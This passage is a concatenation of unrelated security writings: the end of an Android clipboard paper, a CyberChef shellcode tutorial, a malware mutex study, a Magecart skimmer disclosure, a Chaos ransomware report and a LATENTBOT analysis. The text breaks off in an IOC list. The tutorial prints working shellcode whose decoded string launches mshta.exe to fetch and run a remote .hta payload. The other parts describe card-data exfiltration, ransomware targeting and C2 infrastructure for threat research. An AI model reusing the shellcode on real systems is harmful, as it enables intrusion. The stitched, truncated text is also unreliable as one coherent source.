assessment, we formulate a series of attacks and categorize them into two groups: manipulation and stealing. Clipboard data manipulation may lead to code injection attacks and phishing attacks. Data stealing happens when sensitive data or references are copied to the clipboard. The presence of vulnerable apps as well as a variety of attack types reflects the severity of the risks imposed by Android Clipboard. As a result, we suggest developers to be cautious when dealing with clipboard data. In our future work, we will pursue the idea of designing a privilege restriction framework specific for Android Clipboard.
# Understand Shellcode with CyberChef **Cyber_00011011** February 17, 2021 Cooking up Cyber Add two parts cyber and one part input to produce a delicious recipe. All joking aside, CyberChef is a pretty sweet tool that anyone in the cybersecurity community would likely find useful. It really is the entire kitchen sink with over 300 unique operations which can be combined in different ways to help analyze input data. The input could be a file or just a chunk of data you want to copy/paste into the tool. CyberChef can be downloaded and run locally in a web browser, or run online in the github-io hosted version. I’ve referenced several good collections of recipes below to help with understanding how CyberChef can be used. One thing I sometimes want to do with CyberChef that I haven't seen blogged about is look at Shellcode. In this blog, I’ll walk through a simple example of looking at some Shellcode with CyberChef and determining what is pushed onto the stack. ## ShellCode Analysis with CyberChef I got the following Shellcode from exploit-db, and I want to use CyberChef to understand what this Shellcode is doing. First, I copy the Shellcode, as seen below, from exploit-db, and copy it into the input window of CyberChef. ``` \x31\xc0\x66\xb8\x72\x74\x50\x68\x6d\x73\x76\x63\x54\xbb\x5c\x39\xe3\x77\xff\xd3\x89 \xc5\x31\xc0\x50\x68\x2e\x68\x74\x61\x68\x57\x61\x52\x4f\x68\x2f\x39\x4d\x4b\x68\x30 \x38\x30\x38\x68\x31\x39\x32\x3a\x68\x2e\x34\x33\x2e\x68\x2e\x31\x36\x38\x68\x2f\x31 \x39\x32\x68\x74\x70\x3a\x2f\x68\x65\x20\x68\x74\x68\x61\x2e\x65\x78\x68\x6d\x73\x68 \x74\x89\xe7\x57\xb8\x6f\xb1\xfa\x6f\xff\xd0\x31\xc0\x50\xb8\x4f\x21\xe3\x77\xff\xd0 ``` Once you have pasted the Shellcode into CyberChef, we need to clean it up a bit. Search for ‘replace’ and drag the Find/Replace operation into the recipe. Change the type to simple string and replace all ‘\x’ with nothing. Basically just removing all the ‘\x’, leaving hex data as output. From there, drag in a ‘Disassemble x86’ operation. Change the bit mode to 32 bit since this is 32-bit Shellcode. At this point, you should see the Disassembled Shellcode. At this point, I’m interested in all those pushes onto the stack. I’d like to know what is being pushed onto the stack. I copy/paste the stack pushes into a new CyberChef window in reverse order because the top of the stack will be the last push. ``` 78652E61 74682065 2F3A7074 3239312F 3836312E 2E33342E 3A323931 30383038 4B4D392F 4F526157 6174682E ``` After pasting that into the input window, we’ll need to change the endianness and then convert the hex to text. You can see this done using the ‘Swap Endianness’ operation and the ‘From Hex’ operation, leaving “mshta.exe hxxp://192.168.43.192:8080/9MKWaRO.hta” as the value pushed onto the stack. For more fun, check out some of the references below and the complete list of supported operations. I gathered the list of Operations below from looking at this CyberChef JSON source code file. ## CyberChef Operations As of Feb-17, 2021 - pulled from CyberChef source code with some markdown formatting applied. Enjoy, Happy Cooking. - To Hexdump - From Hexdump - To Hex - From Hex - To Charcode - From Charcode - To Decimal - From Decimal - To Binary - From Binary - To Octal - From Octal - To Base32 - From Base32 - To Base58 - From Base58 - To Base62 - From Base62 - To Base64 - From Base64 - Show Base64 offsets - To Base85 - From Base85 - To Base - From Base - To BCD - From BCD - To HTML Entity - From HTML Entity - URL Encode - URL Decode - Escape Unicode Characters - Unescape Unicode Characters - Normalise Unicode - To Quoted Printable - From Quoted Printable - To Punycode - From Punycode - To Hex Content - From Hex Content - PEM to Hex - Hex to PEM - Parse ASN.1 hex string - Change IP format - Encode text - Decode text - Text Encoding Brute Force - Swap endianness - To MessagePack - From MessagePack - To Braille - From Braille - Parse TLV - CSV to JSON - JSON to CSV - Avro to JSON - AES Encrypt - AES Decrypt - Blowfish Encrypt - Blowfish Decrypt - DES Encrypt - DES Decrypt - Triple DES Encrypt - Triple DES Decrypt - RC2 Encrypt - RC2 Decrypt - RC4 - RC4 Drop - ROT13 - ROT47 - XOR - XOR Brute Force - Vigenère Encode - Vigenère Decode - To Morse Code - From Morse Code - Bacon Cipher Encode - Bacon Cipher Decode - Bifid Cipher Encode - Bifid Cipher Decode - Affine Cipher Encode - Affine Cipher Decode - A1Z26 Cipher Encode - A1Z26 Cipher Decode - Rail Fence Cipher Encode - Rail Fence Cipher Decode - Atbash Cipher - CipherSaber2 Encrypt - CipherSaber2 Decrypt - Substitute - Derive PBKDF2 key - Derive EVP key - Bcrypt - Scrypt - JWT Sign - JWT Verify - JWT Decode - Citrix CTX1 Encode - Citrix CTX1 Decode - Pseudo-Random Number Generator - Enigma - Bombe - Multiple Bombe - Typex - Lorenz - Colossus - Parse X.509 certificate - Parse ASN.1 hex string - PEM to Hex - Hex to PEM - Hex to Object Identifier - Object Identifier to Hex - Generate PGP Key Pair - PGP Encrypt - PGP Decrypt - PGP Verify - PGP Encrypt and Sign - PGP Decrypt and Verify - Generate RSA Key Pair - RSA Sign - RSA Verify - RSA Encrypt - RSA Decrypt - Parse SSH Host Key - Set Union - Set Intersection - Set Difference - Symmetric Difference - Cartesian Product - Power Set - XOR - XOR Brute Force - OR - NOT - AND - ADD - SUB - Sum - Subtract - Multiply - Divide - Mean - Median - Standard Deviation - Bit shift left - Bit shift right - Rotate left - Rotate right - ROT13 - HTTP request - DNS over HTTPS - Strip HTTP headers - Dechunk HTTP response - Parse User Agent - Parse IP range - Parse IPv6 address - Parse IPv4 header - Parse UDP - Parse SSH Host Key - Parse URI - URL Encode - URL Decode - Protobuf Decode - VarInt Encode - VarInt Decode - Format MAC addresses - Change IP format - Group IP addresses - Encode NetBIOS Name - Decode NetBIOS Name - Defang URL - Defang IP Addresses - Encode text - Decode text - Unicode Text Format - Remove Diacritics - Unescape Unicode Characters - Convert to NATO alphabet - Diff - Remove whitespace - Remove null bytes - To Upper case - To Lower case - To Case Insensitive Regex - From Case Insensitive Regex - Add line numbers - Remove line numbers - To Table - Reverse - Sort - Unique - Split - Filter - Head - Tail - Count occurrences - Expand alphabet range - Drop bytes - Take bytes - Pad lines - Find / Replace - Regular expression - Fuzzy Match - Offset checker - Hamming Distance - Convert distance - Convert area - Convert mass - Convert speed - Convert data units - Convert co-ordinate format - Show on map - Parse UNIX file permissions - Parse ObjectID timestamp - Swap endianness - Parse colour code - Escape string - Unescape string - Pseudo-Random Number Generator - Sleep - Parse DateTime - Translate DateTime Format - From UNIX Timestamp - To UNIX Timestamp - Windows Filetime to UNIX Timestamp - UNIX Timestamp to Windows Filetime - Extract dates - Get Time - Strings - Extract IP addresses - Extract email addresses - Extract MAC addresses - Extract URLs - Extract domains - Extract file paths - Extract dates - Regular expression - XPath expression - JPath expression - CSS selector - Extract ID3 - Extract Files - Raw Deflate - Raw Inflate - Zlib Deflate - Zlib Inflate - Gzip - Gunzip - Zip - Unzip - Bzip2 Decompress - Bzip2 Compress - Tar - Untar - Analyse hash - Generate all hashes - MD2 - MD4 - MD5 - MD6 - SHA0 - SHA1 - SHA2 - SHA3 - SM3 - Keccak - Shake - RIPEMD - HAS-160 - Whirlpool - Snefru - BLAKE2b - BLAKE2s - GOST hash - Streebog - SSDEEP - CTPH - Compare SSDEEP hashes - Compare CTPH hashes - HMAC - Bcrypt - Bcrypt compare - Bcrypt parse - Scrypt - Fletcher-8 Checksum - Fletcher-16 Checksum - Fletcher-32 Checksum - Fletcher-64 Checksum - Adler-32 Checksum - Luhn Checksum - CRC-8 Checksum - CRC-16 Checksum - CRC-32 Checksum - TCP/IP Checksum - Syntax highlighter - Generic Code Beautify - JavaScript Parser - JavaScript Beautify - JavaScript Minify - JSON Beautify - JSON Minify - XML Beautify - XML Minify - SQL Beautify - SQL Minify - CSS Beautify - CSS Minify - XPath expression - JPath expression - CSS selector - PHP Deserialize - Microsoft Script Decoder - Strip HTML tags - Diff - To Snake case - To Camel case - To Kebab case - BSON serialise - BSON deserialise - To MessagePack - From MessagePack - Render Markdown - Detect File Type - Scan for Embedded Files - Extract Files - YARA Rules - Remove EXIF - Extract EXIF - Extract RGBA - View Bit Plane - Randomize Colour Palette - Extract LSB - Render Image - Play Media - Generate Image - Optical Character Recognition - Remove EXIF - Extract EXIF - Split Colour Channels - Rotate Image - Resize Image - Blur Image - Dither Image - Invert Image - Flip Image - Crop Image - Image Brightness / Contrast - Image Opacity - Image Filter - Contain Image - Cover Image - Image Hue/Saturation/Lightness - Sharpen Image - Normalise Image - Convert Image Format - Add Text To Image - Hex Density chart - Scatter chart - Series chart - Heatmap chart - Entropy - Frequency distribution - Index of Coincidence - Chi Square - Disassemble x86 - Pseudo-Random Number Generator - Generate UUID - Generate TOTP - Generate HOTP - Generate QR Code - Parse QR Code - Haversine distance - HTML To Text - Generate Lorem Ipsum - Numberwang - XKCD Random Number - Magic - Fork - Subsection - Merge - Register - Label - Jump - Conditional Jump - Return - Comment
# Hunting the Mutex **Palo Alto Networks** **August 14, 2014** **By Palo Alto Networks** **Category:** Malware, Threat Advisories - Advisories, Threat Advisory/Analysis, Threat Prevention, Unit 42 **Tags:** Haystack, mutex, WildFire ## Summary Mutex analysis is an often overlooked and useful tool for malware author fingerprinting, family classification, and even discovery. Far from the hypothesized "huge amount of variability" in mutex names, practical mutex usage is embarrassingly consistent. In fact, over 15% of all collected worms share a single mutex. This blog was sourced from the data generated by the WildFire Analytics cloud, which processes thousands of samples a day and provides insights into various characteristics and behaviors of malware worldwide. But before we get into the details, here is a quick overview of mutexes and why they exist in the first place. ## Mutex Overview The mutex is the fundamental tool for managing shared resources between multiple threads (or processes). If you think of the threads as a whole bunch of people in a meeting, all trying to talk at once, a mutex is the baton that gets passed from one person to the next so that there’s only one person talking at a time. The important thing to understand is what the mutex is really protecting. In the above example, the resource being protected isn’t the right to speak, but rather the ability to listen. Here’s a more technical example. Let's say you want to update an Internet Explorer (IE) cookie file, adding a unique identifier for use later. Naively, what you need to do is read the cookie file in, add your data to what you’ve read, and write the file back to disk. But what if IE is running and also updating that file? The worst case is that both you and IE read the file at the same time but you write your edits first. This is because IE will completely destroy your edits when it writes its new version of the file over yours. The solution to this problem is to use a mutex to protect the integrity of the cookie file. A process that has the mutex knows that while it holds that mutex no other process will be accessing the cookie file. It can then read, tweak, and write the file without fear of any clobbering by other processes. ## Analysis Since each shared resource can only have a single mutex effectively protecting it, leveraging that mutex is an indication that a program will be using said resource. In the cookie file example above, just referencing the mutex protecting that file indicates, with extremely high probability, that functionality to change the file exists somewhere in the program. Any given mutex, and protected functionality, can then be thought of as an independent library of sorts. Note that while the technical implementation may not expose said functionality as a normal library, such exposure is not necessary for the types of analysis performed here. That library’s usage can be analyzed in terms of who uses it. Simply put: malware writers leverage malware specific libraries and groups of like actors will reuse these core libraries when able. ## Dear Haystack, You Failed The needle in a haystack problem forever plagues malware research: it’s extremely difficult to find reliable information with malware writers constantly working to undermine or eliminate that information. But, in the case of mutex analysis, the useful information pretty well slapped us in the face. As can be clearly seen, mutex 2gvwnqjz1 is strongly associated with malware. In fact, we have only seen it in malware. As is equally obvious, not all mutexes offer such dramatic insight. There are many common mutexes shared across both benign software and malware. What’s more, they don’t all share millions of uses across both sides of the fence. In cases such as these, the common approach is to use sets of the data, in this case sets of mutexes, to create fingerprints of each sample and then leverage those fingerprints to extract higher confidence classification decisions. While this avenue of research is being pursued, it suffers from all the traditional challenges of big data research. In other words, it’s slow going. In parallel, and to inform better hypotheses for the fingerprint generation, research is being done to determine how far single mutex analysis can take us. The research is ongoing but the initial results are extremely promising. ## Dear Haystack, We Repent The number of times any single mutex is used drops rapidly from the millions of samples down to thousands and from there, even further. Tens of thousands of the mutexes have been seen in only a single sample each. This results in a few hundred thousand individual mutexes available for further analysis. What quickly becomes apparent is that a large majority of the mutexes provide no obvious means to automatically classify them as necessarily indicative of good or bad behavior. And, unfortunately, the ones which are reasonably easy for a human to identify are so for significantly different reasons. For example: - **“autoproto_*”** -- More than 20 mutexes share that preface, offering a natural fingerprint. - **“global\setup_028746_mutexitem”** -- Associated solely with known malware digital signers. - **“defined_setnocandy”** -- After reading mutex names for a few hours this just sticks out like a sore thumb. Only the first of the examples had the mutex associated with a vast majority of malware samples. This implies that any fully automated association of a mutex to either benign or malware samples will itself require complex fingerprinting and confidence models. ## Hybrid Approach Full automation is always the ideal but it isn’t always necessary. With the appropriate tools, it’s possible to enable a single researcher to continually review and categorize new mutexes. The initial classifications to be used are “benign”, “malware”, or “statistical”. Meaning that the mutex either itself indicates a benign or malware sample, or that the mutex alone is not enough to make a determination and the statistical ratio of benign to malware is the best it can offer. The backlog of already collected mutexes is too great for a small team of researchers to meaningfully tackle without some kind of ranking system. Luckily, the most objective piece of data collected about each mutex, how many samples were classified benign vs. malware, has all the information necessary to ensure that the researchers tackle the low hanging fruit first. ## Case Study: “jhdheruhfrthkgjhtjkghjk5trh” With over hundreds of thousands of malware associations, this specific mutex is associated exclusively with the Net-worm:W32/Allaple malware family which has been around since 2006 but continues to propagate and reinvent itself through the years. Though the fact that the malware writer obviously named the mutex by rolling their face on the keyboard made it obvious before we'd done any further analysis that we’d found a unique identifier within the binaries. This malware is well documented as a powerful polymorphic worm that encrypts itself differently every time it propagates. The evasive nature of this malware family leads to a different file hash, import hash, and only a 20% average SSDeep hash overlap between the samples. But because the mutex name is set at compile time, the mutex itself offers a common thread between all of the samples we collected and analyzed. However, this particular mutex was associated with only a recent subset of the Allaple family. ## Lessons Learned Unlike many other avenues of research and classification, mutex name based associations provide an almost trivial means of uniquely identifying common code blocks and thereby malware families. ## Case Study: “jhdgcjhasgdc09890gjasgcjhg2763876uyg3fhg” The first thing our researchers noticed was the similarity between this mutex name and the previous one. While programmatic analysis would have a hard time associating the two, it's obvious to a human that the same face rolling technique was used to name this mutex. The author simply rolled around a bit more. Quick follow up analysis revealed that this mutex was also associated with the Allaple malware family. More interestingly, it was another, non-overlapping, subset of the Allaple family. Several hypotheses followed directly from this observation: 1. The same author created both variants. 2. The second mutex was created at some point after the first. 3. The underlying functionality protected by the first mutex was removed or altered so significantly that a new mutex was required to provide the necessary protection. 4. This functionality is not available and/or used generally in the malware community. 5. Each mutex exists across multiple variants. Absolute proof for a few of these hypotheses may never be realized. However, and lucky for us, the malware author was arrested in 2010 so several of the hypotheses can be verified. The first is very likely due to the similarities present in the order of keys hit. Both begin with “jhd”. “jh” itself is more common than would be expected given that, with fingers on the home row, it requires the right index finger to move and press another key before any other key is struck. And “jh” is always followed by a key from the left side of the keyboard. These unique consistencies make it extremely improbable that two different people named these mutexes. The second mutex appears to be a concerted effort to make the mutex seem “more random” than the first. It's immediately obvious that the author didn't move his fingers/hands much while typing the first. It’s obvious enough that the author likely noticed it when reworking this section of code. It's highly improbable that one would see the second mutex and make a concerted effort to make it appear “less random”. And, as can be quickly verified by searching through standard virus detection logs, the mutexes did in fact appear in the hypothesized order. The third is likely due to the lack of overlap between mutex names. However, the research necessary to conclusively prove this hypothesis would be very time consuming and provide little other benefit. The fourth is likely due to the mutexes only appearing in a single malware family. If this functionality were available in some more open source setting, and was of even moderate quality, we would expect to see it used in other malware families as well. As this functionality has not migrated outside the Allaple family, either the quality of the code is bad, or it's simply not available to other malware developers. The fifth is very likely as a change to the specific functionality these mutexes protect, with every change to any functionality, is simply not a practical method of development. And indeed, as with the second hypothesis, standard virus detection logs prove that each of these mutexes do span multiple variants of the worm. ## Lessons Learned Mutex names provide a window into the entire development process and timeline for malware. Idiosyncrasies of the malware author become apparent, the evolution can be traced, the availability or quality of code deduced, and reuse of functionality made clear with a simple mutex. No other currently used method of analysis offers such a personal view into malware development. ## Conclusion Mutex name analysis as a whole offers a unique look into the results of any sample classification system and the malware therein. While the research may never result in a fully automated decision system, it has been proven that researchers employing a hybrid approach to analysis will be able to provide critical and timely information to support the continual improvement of the classification system as a whole. From edge case to systematic misclassifications, mutex usage is even more generally the canary in a coal mine than was previously realized. ## Anecdotes While tedious and time consuming, combing through mutex names did come with more than a few good laughs. After nearly as much debate as some of the real research, we’ve whittled the list down to our favorites (For the curious, these are all malware mutexes). Enjoy. - **Pluguin** - When penguins and wall sockets mate. Development environments don’t have spell check but, maybe they should. - **senna spy rock in rio 2001 virus** - Subtlety. Overwhelming. There were many variations on this one, Senna’s obviously proud of his work. - **chinese-hacker-2** - We’re not sure which is worse: that this is a legitimate signature or a sad frame job. Either way, somebody needs their computer privileges revoked. - **mutexpolesskayaglush*.*svchost.comexefile\shell\open\command %1 %*@** - Putting shell code in a mutex name is right on the border of brilliant and insane. We’ll leave that determination to the reader. - **mr_coolface** - Really, not so much, no. - **don't stop me! i need some money!** - don’t say we never did anything for you.
# The PhishLabs Blog ## Globe Imposter Ransomware Makes a New Run Get The Latest Insights
# Olympic Ticket Reseller Magecart Infection **Jacob Pimental** **January 25, 2020** I have recently stumbled across a Magecart infection on an Olympic ticket reseller site. This article will contain a brief analysis of the Magecart infection as well as my experience disclosing this information to the company. This is a joint analysis with Max Kersten. ## Initial Analysis The initial infection can be found at `https://olympictickets2020[.]com/dist/slippry.min.js`. This appears to be the legitimate slippry.js library along with extra obfuscated JavaScript appended to the end of the file. The malicious code begins at the declaration of function `bAQ`. The function itself appends data to the variable `C46`, which is then deobfuscated and appended to the variable `ih3`. The easiest way to get the second stage payload would be to run the code inside the function in your browser’s developer console and print out the value of `ih3` with the `toString` function. From here, the obfuscation is fairly simple. You can unminimize the JavaScript using a site like `https://beautifier.io`. Then we can just insert values into our JavaScript console and replace the obfuscated data with the result. Max Kersten has a great analysis of how the obfuscation works on his blog. This script is not much different than the one in his article. After deobfuscation, we can see that the script looks for the keywords: - onepage - checkout - store - cart - pay - panier - kasse - order - billing - purchase - basket If it finds any of those keywords on the website, it will send the information in the credit card form to `opendoorcdn[.]com`. ## Disclosure Before going public about the infection, Max and I decided to tweet at the company urging them to get in touch with us. We also sent an e-mail to their customer support with the same information. The following Monday, Max decided to use the chat feature on their site to try to get in contact with their security team, since we hadn’t heard anything back. At first, they did not find the malicious code and closed Max’s ticket. After the ticket was closed, I decided to give them a call. I provided more detail as to what the infection was along with where they could find the malicious code. The support on the other line told me that they would pass along this information to their security team and they would contact me with the result. Around noon on January 21st, Eastern Time, Max and I noticed that the malicious script was taken down, meaning they listened to our suggestions and were able to remove the malicious code from the site. The script now leads to a 404 page. ## Extent Digging into the extent of the infection, Max and I found that the company’s other site, `eurotickets2020.com`, is also compromised with the same variant of Magecart. This can be found by searching for the hash via UrlScan. The furthest date back this was scanned was 2 months ago according to UrlScan, so it is unclear exactly how long the malicious code has been on their site. Max also took a look at the URL using the Wayback Machine and found the skimmer indexed on December 3rd, 2019. The URL for the eurotickets site can be seen dated back to January 7th, 2020. This gives us a rough estimate that the code may have been on the site for 50 days, but it is always possible that it was there longer. ## Conclusion If you have purchased tickets from `olympictickets2020.com` or `eurotickets2020.com` in the last 50 days, I would suggest you contact your bank as your credit card information may be compromised. I would also like to thank Max Kersten for helping me with this analysis! If you have any comments or questions, feel free to reach out to me on my Twitter or LinkedIn. Thanks for reading and happy reversing! **Tags:** Malware Analysis, Magecart, Skimmer, JavaScript
# Chaos Ransomware: A Proof of Concept With Potentially Dangerous Applications Since June 2021, we’ve been monitoring an in-development ransomware builder called Chaos, which is being offered for testing on an underground forum. While it’s purportedly a .NET version of Ryuk, closer examination of the sample reveals that it doesn’t share much with the notorious ransomware. In fact, early versions of Chaos, which is now in its fourth iteration, were more akin to a destructive trojan than to traditional ransomware. In this blog entry, we take a look at some of the characteristics of the Chaos ransomware builder and how its iterations added new capabilities. ## Evolution of the Chaos ransomware builder Chaos has undergone rapid evolution from its very first version to its current iteration, with version 1.0 having been released on June 9, version 2.0 on June 17, version 3.0 on July 5, and version 4.0 on Aug. 5. ### Version 1.0 The most notable characteristic of the first version of the Chaos builder was that, despite having the Ryuk branding in its GUI, it had little in common with the ransomware. In fact, it wasn’t even traditional ransomware, but rather a destructive trojan. Instead of encrypting files (which could then be decrypted after the target paid the ransom), it replaced the files’ contents with random bytes, after which the files were encoded in Base64. This meant that affected files could no longer be restored, providing victims no incentive to pay the ransom. It did, however, display certain characteristics found in other ransomware families. For example, it searched the following file paths and extensions to infect: **Directories** - \\Contacts - \\Desktop - \\Documents - \\Downloads - \\Favorites - \\Links - \\Music - \\OneDrive - \\Pictures - \\Saved Games - \\Searches - \\Videos **File extensions** - .7gp - .7z - .7-zip - .accdb - .ace - .amv - .apk - .arj - .asp - .aspx - .avi - .backup - .bak - .bay - .bk - .blob - .bmp - .bz2 - .cab - .cer - .contact - .core - .cpp - .crt - .cs - .css - .csv - .dat - .db - .dll - .doc - .docm - .docx - .dwg - .exif - .flv - .gzip - .htm - .html - .ibank - .ico - .ini - .iso - .jar - .java - .jpe - .jpeg - .jpg - .js - .json - .jsp - .lnk - .lzh - .m4a - .m4p - .m4v - .mdb - .mkv - .mov - .mp3 - .mp4 - .mpeg - .mpg - .ods - .odt - .p7c - .pas - .pdb - .pdf - .php - .png - .ppt - .pptx - .psd - .py - .rar - .rb - .rtf - .settings - .sie - .sql - .sum - .svg - .tar - .txt - .vdi - .vmdk - .wallet - .wav - .webm - .wma - .wmv - .wps - .xls - .xlsb - .xlsm - .xlsx - .xml - .xz - .zip It then dropped a ransomware note named read_it.txt, with a demand for a rather sizeable ransom in bitcoin. One of the more interesting functions of Chaos version 1.0 was its worming function, which allowed it to spread to all drives found on an affected system. This could permit the malware to jump onto removable drives and escape from air-gapped systems. ### Version 2.0 The second version of Chaos added advanced options for administrator privileges, the ability to delete all volume shadow copies and the backup catalog, and the ability to disable Windows recovery mode. However, version 2.0 still overwrote the files of its targets. Members of the forum where it was posted pointed out that victims wouldn’t pay the ransom if their files couldn’t be restored. ### Version 3.0 With version 3.0, the Chaos ransomware builder gained the ability to encrypt files under 1 MB using AES/RSA encryption, making it more in line with traditional ransomware. It also came with its own decrypter builder. ### Version 4.0 The fourth iteration of Chaos expands the AES/RSA encryption by increasing the upper limit of files that can be encrypted to 2 MB. In addition, it gives the ransomware builder’s users the ability to add their own extensions to affected files and the ability to change the desktop wallpaper of their victims. ## A proof of concept that could be dangerous in the wrong hands We haven’t seen any active infections or victims of the Chaos ransomware. However, in the hands of a malicious actor who has access to malware distribution and deployment infrastructure, it could cause great damage to organizations. In our view, the Chaos ransomware builder is still far from being a finished product since it lacks features that many modern ransomware families possess, such as the ability to collect data from victims that could be used for further blackmail if the ransom is not paid. ## Indicators of compromise The following are the hashes and our detections for the different Chaos ransomware builder versions: **SHA-256** | **Detection** | **TrendX detection** --- | --- | --- 0d8b4a07e91e02335f600332644e8f0e504f75ab19899a58b2c85ecb0887c738 | Trojan.MSIL.FAKERYUKBUILD.THFAFBA | N/A 325dfac6172cd279715ca8deb280eefe3544090f1583a2ddb5d43fc7fe3029ed | Trojan.MSIL.FAKERYUKBUILDER.AA | Ransom.Win32.TRX 63e28fc93b5843002279fc2ad6fabd9a2bc7f5d2f0b59910bcc447a21673e6c7 | Trojan.MSIL.FAKERYUKBUILDER.AA | Ransom.Win32.TRX f2665f89ba53abd3deb81988c0d5194992214053e77fc89b98b64a31a7504d77 | Trojan.MSIL.FAKERYUKBUILD.THFAFBA | N/A We also proactively detect the following components: **Detection** | **Note** --- | --- Ransom.MSIL.CHAOSBUILDER.SMYPBHET | Chaos ransomware builder and decrypter Ransom.MSIL.CHAOS.SMYPBHET | Main Chaos ransomware executable PUA.MSIL.CHAOS.SMYPBHET.decryptor | Chaos ransomware decrypter
# LATENTBOT: Trace Me If You Can **Threat Research Blog** December 11, 2015 | by Taha Karim, Daniel Regalado | Botnets FireEye Labs recently uncovered LATENTBOT, a new, highly obfuscated bot that has been in the wild since mid-2013. It has managed to leave hardly any traces on the Internet, is capable of watching its victims without ever being noticed, and can even corrupt a hard disk, thus making a PC useless. Through our Dynamic Threat Intelligence (DTI), we have observed multiple campaigns targeting multiple industries in the United States, United Kingdom, South Korea, Brazil, United Arab Emirates, Singapore, Canada, Peru, and Poland – primarily in the financial services and insurance sectors. Although the infection strategy is not new, the final payload dropped – which we named LATENTBOT – caught our attention since it implements several layers of obfuscation, a unique exfiltration mechanism, and has been very successful at infecting multiple organizations. Some of the main features of LATENTBOT are listed below: - Multiple layers of obfuscation - Decrypted strings in memory are removed after being used - Hiding applications in a different desktop - MBR wiping ability - Ransomlock similarities such as being able to lock the desktop - Hidden VNC Connection - Modular design, allowing easy updates on victim machines - Stealth: Callback Traffic, APIs, Registry keys, and any other indicators are decrypted dynamically - Drops Pony malware as a module to act as infostealer ## LATENTBOT Overview Stealth being one of its traits, LATENTBOT will only keep malicious code in memory for the short time that is needed. Most of the encoded data is found either in the program resources or in the registry. A custom encryption algorithm is shared across the different components, including in encrypting its command and control (CnC) communications. Due to this, its family binaries are detected with a generic name such as Trojan.Generic. LATENTBOT itself is not targeted in nature – it has been observed in multiple industries – but it is selective in the types of Windows systems to infect. For example, it won’t run in Windows Vista or Server 2008. LATENTBOT also uses compromised websites as CnC infrastructure, making infection easier and detection harder. Based on passive DNS information and similar samples found in the wild, it is possible that LATENTBOT was created around mid-2013. Throughout the course of 2015, we observed multiple successful infection campaigns. ## Infection Vector The preliminary steps to infect victims with LATENTBOT already contain multiple layers of obfuscation. **Step 1** Malicious emails containing an old Word exploit are created with the Microsoft Word Intruder (MWI) builder and sent to the victims. **Step 2** When the attached Word document is opened, an embedded malicious executable runs, beaconing to the MWISTAT Server for two main purposes: 1. Campaign tracking 2. Second stage binary download During our analysis, the Word documents downloaded LuminosityLink as the second stage binary. LuminosityLink is a full-featured RAT that has the ability to steal passwords, record keystrokes, transfer files, and activate attached microphones or webcams. **Step 3** Since LuminosityLink is a RAT that offers multiple capabilities to fully control the infected box, it is surprising that the RAT downloaded another payload from a secondary CnC. This new module is LATENTBOT, which offers new capabilities that will be detailed in this report. ## Dissecting LATENTBOT The analysis will concentrate on the third stage LATENTBOT binary lsmm.exe, but we are far from the final stage. Another similar binary that was part of our analysis is aya.exe, which performs the same actions. Let’s take an in-depth look at this interesting piece of malware. LATENTBOT is an obfuscated .NET binary, which contains an encoded resource object. This object is the fourth stage payload that is decoded using a specific algorithm. The fourth stage payload is also a .NET binary protected and obfuscated with ConfuserEx. The fourth stage binary will open the .NET programs: RegAsm.exe and CvTres.exe from %windir%\Microsoft .Net\Framework\v2.050727\ and use process hollowing to replace them with malicious code in memory. The binary creates a registry key for persistence with the hardcoded binary name dlrznz68mkaa.exe at the location HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\load. RegAsm.exe will be replaced in memory with a shellcode loader that opens %windir%\system32\svchost.exe and uses the same process hollowing technique to load a second shellcode loader that eventually will decode and execute a fifth stage Delphi binary in memory. The sixth stage is highly obfuscated; multiple encoded strings can be seen which represent API function names, CnC IP, POST/GET parameters, HTTP headers, process names, and so on, all of which are decrypted at runtime. If LATENTBOT is running on a laptop, it will query the battery status via GetSystemPowerStatus and if the battery is running Low or Critical, it will call SetThreadExecutionState to try to prevent the system from sleeping or turning the display off. Now LATENTBOT will check if its plugins are already downloaded by querying the registry key HKCU\Software\Google\Update\network\secure. If plugins are found, LATENTBOT will proceed to load BOT_ENGINE, which is the main module. Otherwise, it will download the required plugins from a CnC server. ## Data Exfiltration If the plugins were not found, LATENTBOT will proceed to download them, but it will first validate that the connection to the CnC server is alive by making a TTP request. LATENTBOT then verifies that the HTTP response is one of the following: - 200: The requested resource was found - 302: Found but in a different URI (Redirection) - 307: Similar to 302 Assuming a valid HTTP response was received, LATENTBOT will proceed to generate a beacon. The URI is generated based on information from the infected host. The whole algorithm can be expressed as follows: - **Encryption:** `encoded_uri = base64_encode(substitute(xor_modifier(modifier, plain_text_uri)))` - **Decryption:** `plain_text_uri = xor_modifier(modifier, substitute(base64_decode(encoded_uri)))` By applying the substitution and XOR algorithms described above to the original URI, we get the following encoded URI. At this point, LATENTBOT is ready to start downloading the different plugins by sending the beacon. ## Plugins Description **BOT_ENGINE & SECURITY** BOT_ENGINE is the main plugin responsible for loading the rest of the plugins. The SECURITY module checks the system to see if any antivirus solution was installed, using a list of AV products’ default installation paths. After BOT_ENGINE is successfully installed and all the different checks are performed, a query is sent back to the CnC with the status of plugin installation along with any errors identified. **PONY Plugin** This plugin is a recent version of Pony Stealer 2.0 malware that comes with BITCOIN support to steal Bitcoin wallets. **VNC Plugin** The VNC Plugin implements a keylogger, ICMP Requests, MBR Wiper, hidden VNC Remote Desktop, and can manipulate the desktop and intercept mouse events. When the VNC Plugin command `killosanduninstalls` is executed, it will extract and decode the malicious MBR wiper and overwrite the first 512 bytes of the hard drive, leaving the infected PC useless. ## Conclusion In this paper, we presented different plugins being used by LATENTBOT. Its architectural design allows the payloads to be easily updated with new functionalities. Although LATENTBOT is highly obfuscated, due to the multiple process injections performed, it is noisy enough to be easily detected in memory with a proper behavior-based solution. Outbound callback tracking and blocking is also mandatory in cases when the malware was able to bypass the security controls in place. ## Acknowledgements Thanks to Nart Villeneuve for his help during this research. ## IOCs **HBI:** - HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load = %AppData%\Roaming\aFwLiiV\dlrznz68mkaa.exe - HKCU\Software\Adobe\Adobe Acrobat\data = <random_value> - HKCU\Software\Google\Update\network\secure **NBI:** CnC IPs (Some of them are compromised legitimate websites): - 46.165.246.234 - 209.208.79.114 - REMOTESUPPORT.AARIVERSIDE.COM - 83.175.125.150 - 83.175.125.152 - OFFICE.ONTIMEDATASOLUTIONS.COM - ESTREAM.HOMELINUX.COM - 95.211.230.212 - 37.220.9.229 - SBA-VIG.VIG.PL - SBA2-VIG.VIG.PL - ITMANAGER.MASPEX.COM - GATE.SPACESOFT.KR - 121.78.119.97 - 136.243.16.249 - 180.71.39.228 - 220.76.17.25 - 195.254.174.74 - 83.13.163.218 - 83.238.72.234 - 155.133.120.21 - DATAROAD.IPTIME.ORG - 